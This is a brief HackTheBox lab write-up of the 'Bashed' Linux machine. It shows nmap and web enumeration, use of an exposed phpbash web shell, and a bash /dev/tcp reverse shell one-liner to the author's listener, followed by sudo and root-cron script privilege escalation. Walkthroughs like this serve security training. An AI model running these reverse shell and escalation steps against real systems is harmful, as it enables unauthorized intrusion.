Bashed
#Linux #Enumeration #Web-Fuzzing
Bashed is an easy-rated Linux machine from HackTheBox created by Arrexel. It is a weird machine that is open, making it pretty straightforward; you can enter there quickly and then escalate with something worth trying (I was lucky here). In the current post, my IP is 10.10.14.12, and the target’s IP is 10.129.148.58.
Gather Information
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.129.148.58

nmap -sCV -p 80 10.129.148.58

nmap --script http-enum -p80 10.129.148.58

Add those directory to your notes, we will explore them soon. {Directories: /css/ /dev/ /images/ /js/ /php/ /uploads/}
whatweb http://10.129.148.58

Now we must check with our browser the structure of the website.
Browser: http://10.129.148.58

Browser: http://10.129.148.58/css/

Browser: http://10.129.148.58/dev/

Browser: http://10.129.148.58/dev/phpbash.php

Exploitation
Time to use a reverse shell using our [BrowserTerm] at /dev/phpbash.php and a local terminal [Term]
nc -nlvp 443
bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0%261"

After this, we need a TTY Treatment to make it easier to work.
cd /
find \-name user.txt 2>/dev/null
cat user.txt

Privileges Escalation
id
sudo -l
sudo -u scriptmanager whoami

sudo -u scriptmanager bash

adasd
id
sudo -l
uname -a
lsb_release -a

ls
cd scripts

nano test.py

cat test.txt

Wait, it changes? That means that is related to test txt, and root is executing test.py (Discovered with ls -la)
nano test.py

cat test.txt

bash -p
cat /root/root.txt

Last updated